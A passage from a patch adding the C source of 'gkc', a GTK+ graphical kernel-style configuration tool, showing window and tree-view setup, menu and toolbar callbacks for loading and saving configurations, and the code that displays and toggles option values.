&style->bg[GTK_STATE_NORMAL], + xpm); + + button = GTK_TOOL_BUTTON(glade_xml_get_widget(xml, btn_name)); + image = gtk_image_new_from_pixmap(pixmap, mask); + gtk_widget_show(image); + gtk_tool_button_set_icon_widget(button, image); +} + +/* Main Window Initialization */ +void init_main_window(const gchar * glade_file) +{ + GladeXML *xml; + GtkWidget *widget; + GtkTextBuffer *txtbuf; + GtkStyle *style; + + xml = glade_xml_new(glade_file, "window1", NULL); + if (!xml) + g_error(_("GUI loading failed !\n")); + glade_xml_signal_autoconnect(xml); + + main_wnd = glade_xml_get_widget(xml, "window1"); + hpaned = glade_xml_get_widget(xml, "hpaned1"); + vpaned = glade_xml_get_widget(xml, "vpaned1"); + tree1_w = glade_xml_get_widget(xml, "treeview1"); + tree2_w = glade_xml_get_widget(xml, "treeview2"); + text_w = glade_xml_get_widget(xml, "textview3"); + + back_btn = glade_xml_get_widget(xml, "button1"); + gtk_widget_set_sensitive(back_btn, FALSE); + + widget = glade_xml_get_widget(xml, "show_name1"); + gtk_check_menu_item_set_active((GtkCheckMenuItem *) widget, + show_name); + + widget = glade_xml_get_widget(xml, "show_range1"); + gtk_check_menu_item_set_active((GtkCheckMenuItem *) widget, + show_range); + + widget = glade_xml_get_widget(xml, "show_data1"); + gtk_check_menu_item_set_active((GtkCheckMenuItem *) widget, + show_value); + + save_btn = glade_xml_get_widget(xml, "button3"); + save_menu_item = glade_xml_get_widget(xml, "save1"); + conf_set_changed_callback(conf_changed); + + style = gtk_widget_get_style(main_wnd); + widget = glade_xml_get_widget(xml, "toolbar1"); + +#if 0 /* Use stock Gtk icons instead */ + replace_button_icon(xml, main_wnd->window, style, + "button1", (gchar **) xpm_back); + replace_button_icon(xml, main_wnd->window, style, + "button2", (gchar **) xpm_load); + replace_button_icon(xml, main_wnd->window, style, + "button3", (gchar **) xpm_save); +#endif + replace_button_icon(xml, main_wnd->window, style, + "button4", (gchar **) xpm_single_view); + replace_button_icon(xml, main_wnd->window, style, + "button5", (gchar **) xpm_split_view); + replace_button_icon(xml, main_wnd->window, style, + "button6", (gchar **) xpm_tree_view); + +#if 0 + switch (view_mode) { + case SINGLE_VIEW: + widget = glade_xml_get_widget(xml, "button4"); + g_signal_emit_by_name(widget, "clicked"); + break; + case SPLIT_VIEW: + widget = glade_xml_get_widget(xml, "button5"); + g_signal_emit_by_name(widget, "clicked"); + break; + case FULL_VIEW: + widget = glade_xml_get_widget(xml, "button6"); + g_signal_emit_by_name(widget, "clicked"); + break; + } +#endif + txtbuf = gtk_text_view_get_buffer(GTK_TEXT_VIEW(text_w)); + tag1 = gtk_text_buffer_create_tag(txtbuf, "mytag1", + "foreground", "red", + "weight", PANGO_WEIGHT_BOLD, + NULL); + tag2 = gtk_text_buffer_create_tag(txtbuf, "mytag2", + /*"style", PANGO_STYLE_OBLIQUE, */ + NULL); + + gtk_window_set_title(GTK_WINDOW(main_wnd), rootmenu.prompt->text); + + gtk_widget_show(main_wnd); +} + +void init_tree_model(void) +{ + gint i; + + tree = tree2 = gtk_tree_store_new(COL_NUMBER, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_POINTER, GDK_TYPE_COLOR, + G_TYPE_BOOLEAN, GDK_TYPE_PIXBUF, + G_TYPE_BOOLEAN, G_TYPE_BOOLEAN, + G_TYPE_BOOLEAN, G_TYPE_BOOLEAN, + G_TYPE_BOOLEAN); + model2 = GTK_TREE_MODEL(tree2); + + for (parents[0] = NULL, i = 1; i < 256; i++) + parents[i] = (GtkTreeIter *) g_malloc(sizeof(GtkTreeIter)); + + tree1 = gtk_tree_store_new(COL_NUMBER, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_POINTER, GDK_TYPE_COLOR, + G_TYPE_BOOLEAN, GDK_TYPE_PIXBUF, + G_TYPE_BOOLEAN, G_TYPE_BOOLEAN, + G_TYPE_BOOLEAN, G_TYPE_BOOLEAN, + G_TYPE_BOOLEAN); + model1 = GTK_TREE_MODEL(tree1); +} + +void init_left_tree(void) +{ + GtkTreeView *view = GTK_TREE_VIEW(tree1_w); + GtkCellRenderer *renderer; + GtkTreeSelection *sel; + GtkTreeViewColumn *column; + + gtk_tree_view_set_model(view, model1); + gtk_tree_view_set_headers_visible(view, TRUE); + gtk_tree_view_set_rules_hint(view, TRUE); + + column = gtk_tree_view_column_new(); + gtk_tree_view_append_column(view, column); + gtk_tree_view_column_set_title(column, _("Options")); + + renderer = gtk_cell_renderer_toggle_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "active", COL_BTNACT, + "inconsistent", COL_BTNINC, + "visible", COL_BTNVIS, + "radio", COL_BTNRAD, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "text", COL_OPTION, + "foreground-gdk", + COL_COLOR, NULL); + + sel = gtk_tree_view_get_selection(view); + gtk_tree_selection_set_mode(sel, GTK_SELECTION_SINGLE); + gtk_widget_realize(tree1_w); +} + +static void renderer_edited(GtkCellRendererText * cell, + const gchar * path_string, + const gchar * new_text, gpointer user_data); + +void init_right_tree(void) +{ + GtkTreeView *view = GTK_TREE_VIEW(tree2_w); + GtkCellRenderer *renderer; + GtkTreeSelection *sel; + GtkTreeViewColumn *column; + gint i; + + gtk_tree_view_set_model(view, model2); + gtk_tree_view_set_headers_visible(view, TRUE); + gtk_tree_view_set_rules_hint(view, TRUE); + + column = gtk_tree_view_column_new(); + gtk_tree_view_append_column(view, column); + gtk_tree_view_column_set_title(column, _("Options")); + + renderer = gtk_cell_renderer_pixbuf_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "pixbuf", COL_PIXBUF, + "visible", COL_PIXVIS, NULL); + renderer = gtk_cell_renderer_toggle_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "active", COL_BTNACT, + "inconsistent", COL_BTNINC, + "visible", COL_BTNVIS, + "radio", COL_BTNRAD, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "text", COL_OPTION, + "foreground-gdk", + COL_COLOR, NULL); + + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + _("Name"), renderer, + "text", COL_NAME, + "foreground-gdk", + COL_COLOR, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + "N", renderer, + "text", COL_NO, + "foreground-gdk", + COL_COLOR, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + "M", renderer, + "text", COL_MOD, + "foreground-gdk", + COL_COLOR, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + "Y", renderer, + "text", COL_YES, + "foreground-gdk", + COL_COLOR, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + _("Value"), renderer, + "text", COL_VALUE, + "editable", + COL_EDIT, + "foreground-gdk", + COL_COLOR, NULL); + g_signal_connect(G_OBJECT(renderer), "edited", + G_CALLBACK(renderer_edited), NULL); + + column = gtk_tree_view_get_column(view, COL_NAME); + gtk_tree_view_column_set_visible(column, show_name); + column = gtk_tree_view_get_column(view, COL_NO); + gtk_tree_view_column_set_visible(column, show_range); + column = gtk_tree_view_get_column(view, COL_MOD); + gtk_tree_view_column_set_visible(column, show_range); + column = gtk_tree_view_get_column(view, COL_YES); + gtk_tree_view_column_set_visible(column, show_range); + column = gtk_tree_view_get_column(view, COL_VALUE); + gtk_tree_view_column_set_visible(column, show_value); + + if (resizeable) { + for (i = 0; i < COL_VALUE; i++) { + column = gtk_tree_view_get_column(view, i); + gtk_tree_view_column_set_resizable(column, TRUE); + } + } + + sel = gtk_tree_view_get_selection(view); + gtk_tree_selection_set_mode(sel, GTK_SELECTION_SINGLE); +} + + +/* Utility Functions */ + + +static void text_insert_help(struct menu *menu) +{ + GtkTextBuffer *buffer; + GtkTextIter start, end; + const char *prompt = _(menu_get_prompt(menu)); + struct gstr help = str_new(); + + menu_get_ext_help(menu, &help); + + buffer = gtk_text_view_get_buffer(GTK_TEXT_VIEW(text_w)); + gtk_text_buffer_get_bounds(buffer, &start, &end); + gtk_text_buffer_delete(buffer, &start, &end); + gtk_text_view_set_left_margin(GTK_TEXT_VIEW(text_w), 15); + + gtk_text_buffer_get_end_iter(buffer, &end); + gtk_text_buffer_insert_with_tags(buffer, &end, prompt, -1, tag1, + NULL); + gtk_text_buffer_insert_at_cursor(buffer, "\n\n", 2); + gtk_text_buffer_get_end_iter(buffer, &end); + gtk_text_buffer_insert_with_tags(buffer, &end, str_get(&help), -1, tag2, + NULL); + str_free(&help); +} + + +static void text_insert_msg(const char *title, const char *message) +{ + GtkTextBuffer *buffer; + GtkTextIter start, end; + const char *msg = message; + + buffer = gtk_text_view_get_buffer(GTK_TEXT_VIEW(text_w)); + gtk_text_buffer_get_bounds(buffer, &start, &end); + gtk_text_buffer_delete(buffer, &start, &end); + gtk_text_view_set_left_margin(GTK_TEXT_VIEW(text_w), 15); + + gtk_text_buffer_get_end_iter(buffer, &end); + gtk_text_buffer_insert_with_tags(buffer, &end, title, -1, tag1, + NULL); + gtk_text_buffer_insert_at_cursor(buffer, "\n\n", 2); + gtk_text_buffer_get_end_iter(buffer, &end); + gtk_text_buffer_insert_with_tags(buffer, &end, msg, -1, tag2, + NULL); +} + + +/* Main Windows Callbacks */ + +void on_save_activate(GtkMenuItem * menuitem, gpointer user_data); +gboolean on_window1_delete_event(GtkWidget * widget, GdkEvent * event, + gpointer user_data) +{ + GtkWidget *dialog, *label; + gint result; + + if (!conf_get_changed()) + return FALSE; + + dialog = gtk_dialog_new_with_buttons(_("Warning !"), + GTK_WINDOW(main_wnd), + (GtkDialogFlags) + (GTK_DIALOG_MODAL | + GTK_DIALOG_DESTROY_WITH_PARENT), + GTK_STOCK_OK, + GTK_RESPONSE_YES, + GTK_STOCK_NO, + GTK_RESPONSE_NO, + GTK_STOCK_CANCEL, + GTK_RESPONSE_CANCEL, NULL); + gtk_dialog_set_default_response(GTK_DIALOG(dialog), + GTK_RESPONSE_CANCEL); + + label = gtk_label_new(_("\nSave configuration ?\n")); + gtk_container_add(GTK_CONTAINER(GTK_DIALOG(dialog)->vbox), label); + gtk_widget_show(label); + + result = gtk_dialog_run(GTK_DIALOG(dialog)); + switch (result) { + case GTK_RESPONSE_YES: + on_save_activate(NULL, NULL); + return FALSE; + case GTK_RESPONSE_NO: + return FALSE; + case GTK_RESPONSE_CANCEL: + case GTK_RESPONSE_DELETE_EVENT: + default: + gtk_widget_destroy(dialog); + return TRUE; + } + + return FALSE; +} + + +void on_window1_destroy(GtkObject * object, gpointer user_data) +{ + gtk_main_quit(); +} + + +void +on_window1_size_request(GtkWidget * widget, + GtkRequisition * requisition, gpointer user_data) +{ + static gint old_h; + gint w, h; + + if (widget->window == NULL) + gtk_window_get_default_size(GTK_WINDOW(main_wnd), &w, &h); + else + gdk_window_get_size(widget->window, &w, &h); + + if (h == old_h) + return; + old_h = h; + + gtk_paned_set_position(GTK_PANED(vpaned), 2 * h / 3); +} + + +/* Menu & Toolbar Callbacks */ + + +static void +load_filename(GtkFileSelection * file_selector, gpointer user_data) +{ + const gchar *fn; + + fn = gtk_file_selection_get_filename(GTK_FILE_SELECTION + (user_data)); + + if (conf_read(fn)) + text_insert_msg(_("Error"), _("Unable to load configuration !")); + else + display_tree(&rootmenu); +} + +void on_load1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *fs; + + fs = gtk_file_selection_new(_("Load file...")); + g_signal_connect(GTK_OBJECT(GTK_FILE_SELECTION(fs)->ok_button), + "clicked", + G_CALLBACK(load_filename), (gpointer) fs); + g_signal_connect_swapped(GTK_OBJECT + (GTK_FILE_SELECTION(fs)->ok_button), + "clicked", G_CALLBACK(gtk_widget_destroy), + (gpointer) fs); + g_signal_connect_swapped(GTK_OBJECT + (GTK_FILE_SELECTION(fs)->cancel_button), + "clicked", G_CALLBACK(gtk_widget_destroy), + (gpointer) fs); + gtk_widget_show(fs); +} + + +void on_save_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + if (conf_write(NULL)) + text_insert_msg(_("Error"), _("Unable to save configuration !")); +} + + +static void +store_filename(GtkFileSelection * file_selector, gpointer user_data) +{ + const gchar *fn; + + fn = gtk_file_selection_get_filename(GTK_FILE_SELECTION + (user_data)); + + if (conf_write(fn)) + text_insert_msg(_("Error"), _("Unable to save configuration !")); + + gtk_widget_destroy(GTK_WIDGET(user_data)); +} + +void on_save_as1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *fs; + + fs = gtk_file_selection_new(_("Save file as...")); + g_signal_connect(GTK_OBJECT(GTK_FILE_SELECTION(fs)->ok_button), + "clicked", + G_CALLBACK(store_filename), (gpointer) fs); + g_signal_connect_swapped(GTK_OBJECT + (GTK_FILE_SELECTION(fs)->ok_button), + "clicked", G_CALLBACK(gtk_widget_destroy), + (gpointer) fs); + g_signal_connect_swapped(GTK_OBJECT + (GTK_FILE_SELECTION(fs)->cancel_button), + "clicked", G_CALLBACK(gtk_widget_destroy), + (gpointer) fs); + gtk_widget_show(fs); +} + + +void on_quit1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + if (!on_window1_delete_event(NULL, NULL, NULL)) + gtk_widget_destroy(GTK_WIDGET(main_wnd)); +} + + +void on_show_name1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkTreeViewColumn *col; + + show_name = GTK_CHECK_MENU_ITEM(menuitem)->active; + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_NAME); + if (col) + gtk_tree_view_column_set_visible(col, show_name); +} + + +void on_show_range1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkTreeViewColumn *col; + + show_range = GTK_CHECK_MENU_ITEM(menuitem)->active; + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_NO); + if (col) + gtk_tree_view_column_set_visible(col, show_range); + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_MOD); + if (col) + gtk_tree_view_column_set_visible(col, show_range); + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_YES); + if (col) + gtk_tree_view_column_set_visible(col, show_range); + +} + + +void on_show_data1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkTreeViewColumn *col; + + show_value = GTK_CHECK_MENU_ITEM(menuitem)->active; + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_VALUE); + if (col) + gtk_tree_view_column_set_visible(col, show_value); +} + + +void +on_set_option_mode1_activate(GtkMenuItem *menuitem, gpointer user_data) +{ + opt_mode = OPT_NORMAL; + gtk_tree_store_clear(tree2); + display_tree(&rootmenu); /* instead of update_tree to speed-up */ +} + + +void +on_set_option_mode2_activate(GtkMenuItem *menuitem, gpointer user_data) +{ + opt_mode = OPT_ALL; + gtk_tree_store_clear(tree2); + display_tree(&rootmenu); /* instead of update_tree to speed-up */ +} + + +void +on_set_option_mode3_activate(GtkMenuItem *menuitem, gpointer user_data) +{ + opt_mode = OPT_PROMPT; + gtk_tree_store_clear(tree2); + display_tree(&rootmenu); /* instead of update_tree to speed-up */ +} + + +void on_introduction1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *dialog; + const gchar *intro_text = _( + "Welcome to gkc, the GTK+ graphical configuration tool\n" + "For each option, a blank box indicates the feature is disabled, a\n" + "check indicates it is enabled, and a dot indicates that it is to\n" + "be compiled as a module. Clicking on the box will cycle through the three states.\n" + "\n" + "If you do not see an option (e.g., a device driver) that you\n" + "believe should be present, try turning on Show All Options\n" + "under the Options menu.\n" + "Although there is no cross reference yet to help you figure out\n" + "what other options must be enabled to support the option you\n" + "are interested in, you can still view the help of a grayed-out\n" + "option.\n" + "\n" + "Toggling Show Debug Info under the Options menu will show \n" + "the dependencies, which you can then match by examining other options."); + + dialog = gtk_message_dialog_new(GTK_WINDOW(main_wnd), + GTK_DIALOG_DESTROY_WITH_PARENT, + GTK_MESSAGE_INFO, + GTK_BUTTONS_CLOSE, "%s", intro_text); + g_signal_connect_swapped(GTK_OBJECT(dialog), "response", + G_CALLBACK(gtk_widget_destroy), + GTK_OBJECT(dialog)); + gtk_widget_show_all(dialog); +} + + +void on_about1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *dialog; + const gchar *about_text = + _("gkc is copyright (c) 2002 Romain Lievin .\n" + "Based on the source code from Roman Zippel.\n"); + + dialog = gtk_message_dialog_new(GTK_WINDOW(main_wnd), + GTK_DIALOG_DESTROY_WITH_PARENT, + GTK_MESSAGE_INFO, + GTK_BUTTONS_CLOSE, "%s", about_text); + g_signal_connect_swapped(GTK_OBJECT(dialog), "response", + G_CALLBACK(gtk_widget_destroy), + GTK_OBJECT(dialog)); + gtk_widget_show_all(dialog); +} + + +void on_license1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *dialog; + const gchar *license_text = + _("gkc is released under the terms of the GNU GPL v2.\n" + "For more information, please see the source code or\n" + "visit http://www.fsf.org/licenses/licenses.html\n"); + + dialog = gtk_message_dialog_new(GTK_WINDOW(main_wnd), + GTK_DIALOG_DESTROY_WITH_PARENT, + GTK_MESSAGE_INFO, + GTK_BUTTONS_CLOSE, "%s", license_text); + g_signal_connect_swapped(GTK_OBJECT(dialog), "response", + G_CALLBACK(gtk_widget_destroy), + GTK_OBJECT(dialog)); + gtk_widget_show_all(dialog); +} + + +void on_back_clicked(GtkButton * button, gpointer user_data) +{ + enum prop_type ptype; + + current = current->parent; + ptype = current->prompt ? current->prompt->type : P_UNKNOWN; + if (ptype != P_MENU) + current = current->parent; + display_tree_part(); + + if (current == &rootmenu) + gtk_widget_set_sensitive(back_btn, FALSE); +} + + +void on_load_clicked(GtkButton * button, gpointer user_data) +{ + on_load1_activate(NULL, user_data); +} + + +void on_single_clicked(GtkButton * button, gpointer user_data) +{ + view_mode = SINGLE_VIEW; + gtk_widget_hide(tree1_w); + current = &rootmenu; + display_tree_part(); +} + + +void on_split_clicked(GtkButton * button, gpointer user_data) +{ + gint w, h; + view_mode = SPLIT_VIEW; + gtk_widget_show(tree1_w); + gtk_window_get_default_size(GTK_WINDOW(main_wnd), &w, &h); + gtk_paned_set_position(GTK_PANED(hpaned), w / 2); + if (tree2) + gtk_tree_store_clear(tree2); + display_list(); + + /* Disable back btn, like in full mode. */ + gtk_widget_set_sensitive(back_btn, FALSE); +} + + +void on_full_clicked(GtkButton * button, gpointer user_data) +{ + view_mode = FULL_VIEW; + gtk_widget_hide(tree1_w); + if (tree2) + gtk_tree_store_clear(tree2); + display_tree(&rootmenu); + gtk_widget_set_sensitive(back_btn, FALSE); +} + + +void on_collapse_clicked(GtkButton * button, gpointer user_data) +{ + gtk_tree_view_collapse_all(GTK_TREE_VIEW(tree2_w)); +} + + +void on_expand_clicked(GtkButton * button, gpointer user_data) +{ + gtk_tree_view_expand_all(GTK_TREE_VIEW(tree2_w)); +} + + +/* CTree Callbacks */ + +/* Change hex/int/string value in the cell */ +static void renderer_edited(GtkCellRendererText * cell, + const gchar * path_string, + const gchar * new_text, gpointer user_data) +{ + GtkTreePath *path = gtk_tree_path_new_from_string(path_string); + GtkTreeIter iter; + const char *old_def, *new_def; + struct menu *menu; + struct symbol *sym; + + if (!gtk_tree_model_get_iter(model2, &iter, path)) + return; + + gtk_tree_model_get(model2, &iter, COL_MENU, &menu, -1); + sym = menu->sym; + + gtk_tree_model_get(model2, &iter, COL_VALUE, &old_def, -1); + new_def = new_text; + + sym_set_string_value(sym, new_def); + + update_tree(&rootmenu, NULL); + + gtk_tree_path_free(path); +} + +/* Change the value of a symbol and update the tree */ +static void change_sym_value(struct menu *menu, gint col) +{ + struct symbol *sym = menu->sym; + tristate newval; + + if (!sym) + return; + + if (col == COL_NO) + newval = no; + else if (col == COL_MOD) + newval = mod; + else if (col == COL_YES) + newval = yes; + else + return; + + switch (sym_get_type(sym)) { + case S_BOOLEAN: + case S_TRISTATE: + if (!sym_tristate_within_range(sym, newval)) + newval = yes; + sym_set_tristate_value(sym, newval); + if (view_mode == FULL_VIEW) + update_tree(&rootmenu, NULL); + else if (view_mode == SPLIT_VIEW) { + update_tree(browsed, NULL); + display_list(); + } + else if (view_mode == SINGLE_VIEW) + display_tree_part(); //fixme: keep exp/coll + break; + case S_INT: + case S_HEX: + case S_STRING: + default: + break; + } +} + +static void toggle_sym_value(struct menu *menu) +{ + if (!menu->sym) + return; + + sym_toggle_tristate_value(menu->sym); + if (view_mode == FULL_VIEW) + update_tree(&rootmenu, NULL); + else if (view_mode == SPLIT_VIEW) { + update_tree(browsed, NULL); + display_list(); + } + else if (view_mode == SINGLE_VIEW) + display_tree_part(); //fixme: keep exp/coll +} + +static gint column2index(GtkTreeViewColumn * column) +{ + gint i; + + for (i = 0; i < COL_NUMBER; i++) { + GtkTreeViewColumn *col; + + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), i); + if (col == column) + return i; + } + + return -1; +} + + +/* User click: update choice (full) or goes down (single) */ +gboolean +on_treeview2_button_press_event(GtkWidget * widget, + GdkEventButton * event, gpointer user_data) +{ + GtkTreeView *view = GTK_TREE_VIEW(widget); + GtkTreePath *path; + GtkTreeViewColumn *column; + GtkTreeIter iter; + struct menu *menu; + gint col; + +#if GTK_CHECK_VERSION(2,1,4) // bug in ctree with earlier version of GTK + gint tx = (gint) event->x; + gint ty = (gint) event->y; + gint cx, cy; + + gtk_tree_view_get_path_at_pos(view, tx, ty, &path, &column, &cx, + &cy); +#else + gtk_tree_view_get_cursor(view, &path, &column); +#endif + if (path == NULL) + return FALSE; + + if (!gtk_tree_model_get_iter(model2, &iter, path)) + return FALSE; + gtk_tree_model_get(model2, &iter, COL_MENU, &menu, -1); + + col = column2index(column); + if (event->type == GDK_2BUTTON_PRESS) { + enum prop_type ptype; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + + if (ptype == P_MENU && view_mode != FULL_VIEW && col == COL_OPTION) { + // goes down into menu + current = menu; + display_tree_part(); + gtk_widget_set_sensitive(back_btn, TRUE); + } else if ((col == COL_OPTION)) { + toggle_sym_value(menu); + gtk_tree_view_expand_row(view, path, TRUE); + } + } else { + if (col == COL_VALUE) { + toggle_sym_value(menu); + gtk_tree_view_expand_row(view, path, TRUE); + } else if (col == COL_NO || col == COL_MOD + || col == COL_YES) { + change_sym_value(menu, col); + gtk_tree_view_expand_row(view, path, TRUE); + } + } + + return FALSE; +} + +/* Key pressed: update choice */ +gboolean +on_treeview2_key_press_event(GtkWidget * widget, + GdkEventKey * event, gpointer user_data) +{ + GtkTreeView *view = GTK_TREE_VIEW(widget); + GtkTreePath *path; + GtkTreeViewColumn *column; + GtkTreeIter iter; + struct menu *menu; + gint col; + + gtk_tree_view_get_cursor(view, &path, &column); + if (path == NULL) + return FALSE; + + if (event->keyval == GDK_space) { + if (gtk_tree_view_row_expanded(view, path)) + gtk_tree_view_collapse_row(view, path); + else + gtk_tree_view_expand_row(view, path, FALSE); + return TRUE; + } + if (event->keyval == GDK_KP_Enter) { + } + if (widget == tree1_w) + return FALSE; + + gtk_tree_model_get_iter(model2, &iter, path); + gtk_tree_model_get(model2, &iter, COL_MENU, &menu, -1); + + if (!strcasecmp(event->string, "n")) + col = COL_NO; + else if (!strcasecmp(event->string, "m")) + col = COL_MOD; + else if (!strcasecmp(event->string, "y")) + col = COL_YES; + else + col = -1; + change_sym_value(menu, col); + + return FALSE; +} + + +/* Row selection changed: update help */ +void +on_treeview2_cursor_changed(GtkTreeView * treeview, gpointer user_data) +{ + GtkTreeSelection *selection; + GtkTreeIter iter; + struct menu *menu; + + selection = gtk_tree_view_get_selection(treeview); + if (gtk_tree_selection_get_selected(selection, &model2, &iter)) { + gtk_tree_model_get(model2, &iter, COL_MENU, &menu, -1); + text_insert_help(menu); + } +} + + +/* User click: display sub-tree in the right frame. */ +gboolean +on_treeview1_button_press_event(GtkWidget * widget, + GdkEventButton * event, gpointer user_data) +{ + GtkTreeView *view = GTK_TREE_VIEW(widget); + GtkTreePath *path; + GtkTreeViewColumn *column; + GtkTreeIter iter; + struct menu *menu; + + gint tx = (gint) event->x; + gint ty = (gint) event->y; + gint cx, cy; + + gtk_tree_view_get_path_at_pos(view, tx, ty, &path, &column, &cx, + &cy); + if (path == NULL) + return FALSE; + + gtk_tree_model_get_iter(model1, &iter, path); + gtk_tree_model_get(model1, &iter, COL_MENU, &menu, -1); + + if (event->type == GDK_2BUTTON_PRESS) { + toggle_sym_value(menu); + current = menu; + display_tree_part(); + } else { + browsed = menu; + display_tree_part(); + } + + gtk_widget_realize(tree2_w); + gtk_tree_view_set_cursor(view, path, NULL, FALSE); + gtk_widget_grab_focus(tree2_w); + + return FALSE; +} + + +/* Fill a row of strings */ +static gchar **fill_row(struct menu *menu) +{ + static gchar *row[COL_NUMBER]; + struct symbol *sym = menu->sym; + const char *def; + int stype; + tristate val; + enum prop_type ptype; + int i; + + for (i = COL_OPTION; i <= COL_COLOR; i++) + g_free(row[i]); + bzero(row, sizeof(row)); + + row[COL_OPTION] = + g_strdup_printf("%s %s", _(menu_get_prompt(menu)), + sym && !sym_has_value(sym) ? "(NEW)" : ""); + + if (opt_mode == OPT_ALL && !menu_is_visible(menu)) + row[COL_COLOR] = g_strdup("DarkGray"); + else if (opt_mode == OPT_PROMPT && + menu_has_prompt(menu) && !menu_is_visible(menu)) + row[COL_COLOR] = g_strdup("DarkGray"); + else + row[COL_COLOR] = g_strdup("Black"); + + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + switch (ptype) { + case P_MENU: + row[COL_PIXBUF] = (gchar *) xpm_menu; + if (view_mode == SINGLE_VIEW) + row[COL_PIXVIS] = GINT_TO_POINTER(TRUE); + row[COL_BTNVIS] = GINT_TO_POINTER(FALSE); + break; + case P_COMMENT: + row[COL_PIXBUF] = (gchar *) xpm_void; + row[COL_PIXVIS] = GINT_TO_POINTER(FALSE); + row[COL_BTNVIS] = GINT_TO_POINTER(FALSE); + break; + default: + row[COL_PIXBUF] = (gchar *) xpm_void; + row[COL_PIXVIS] = GINT_TO_POINTER(FALSE); + row[COL_BTNVIS] = GINT_TO_POINTER(TRUE); + break; + } + + if (!sym) + return row; + row[COL_NAME] = g_strdup(sym->name); + + sym_calc_value(sym); + sym->flags &= ~SYMBOL_CHANGED; + + if (sym_is_choice(sym)) { // parse childs for getting final value + struct menu *child; + struct symbol *def_sym = sym_get_choice_value(sym); + struct menu *def_menu = NULL; + + row[COL_BTNVIS] = GINT_TO_POINTER(FALSE); + + for (child = menu->list; child; child = child->next) { + if (menu_is_visible(child) + && child->sym == def_sym) + def_menu = child; + } + + if (def_menu) + row[COL_VALUE] = + g_strdup(_(menu_get_prompt(def_menu))); + } + if (sym->flags & SYMBOL_CHOICEVAL) + row[COL_BTNRAD] = GINT_TO_POINTER(TRUE); + + stype = sym_get_type(sym); + switch (stype) { + case S_BOOLEAN: + if (GPOINTER_TO_INT(row[COL_PIXVIS]) == FALSE) + row[COL_BTNVIS] = GINT_TO_POINTER(TRUE); + if (sym_is_choice(sym)) + break; + /* fall through */ + case S_TRISTATE: + val = sym_get_tristate_value(sym); + switch (val) { + case no: + row[COL_NO] = g_strdup("N"); + row[COL_VALUE] = g_strdup("N"); + row[COL_BTNACT] = GINT_TO_POINTER(FALSE); + row[COL_BTNINC] = GINT_TO_POINTER(FALSE); + break; + case mod: + row[COL_MOD] = g_strdup("M"); + row[COL_VALUE] = g_strdup("M"); + row[COL_BTNINC] = GINT_TO_POINTER(TRUE); + break; + case yes: + row[COL_YES] = g_strdup("Y"); + row[COL_VALUE] = g_strdup("Y"); + row[COL_BTNACT] = GINT_TO_POINTER(TRUE); + row[COL_BTNINC] = GINT_TO_POINTER(FALSE); + break; + } + + if (val != no && sym_tristate_within_range(sym, no)) + row[COL_NO] = g_strdup("_"); + if (val != mod && sym_tristate_within_range(sym, mod)) + row[COL_MOD] = g_strdup("_"); + if (val != yes && sym_tristate_within_range(sym, yes)) + row[COL_YES] = g_strdup("_"); + break; + case S_INT: + case S_HEX: + case S_STRING: + def = sym_get_string_value(sym); + row[COL_VALUE] = g_strdup(def); + row[COL_EDIT] = GINT_TO_POINTER(TRUE); + row[COL_BTNVIS] = GINT_TO_POINTER(FALSE); + break; + } + + return row; +} + + +/* Set the node content with a row of strings */ +static void set_node(GtkTreeIter * node, struct menu *menu, gchar ** row) +{ + GdkColor color; + gboolean success; + GdkPixbuf *pix; + + pix = gdk_pixbuf_new_from_xpm_data((const char **) + row[COL_PIXBUF]); + + gdk_color_parse(row[COL_COLOR], &color); + gdk_colormap_alloc_colors(gdk_colormap_get_system(), &color, 1, + FALSE, FALSE, &success); + + gtk_tree_store_set(tree, node, + COL_OPTION, row[COL_OPTION], + COL_NAME, 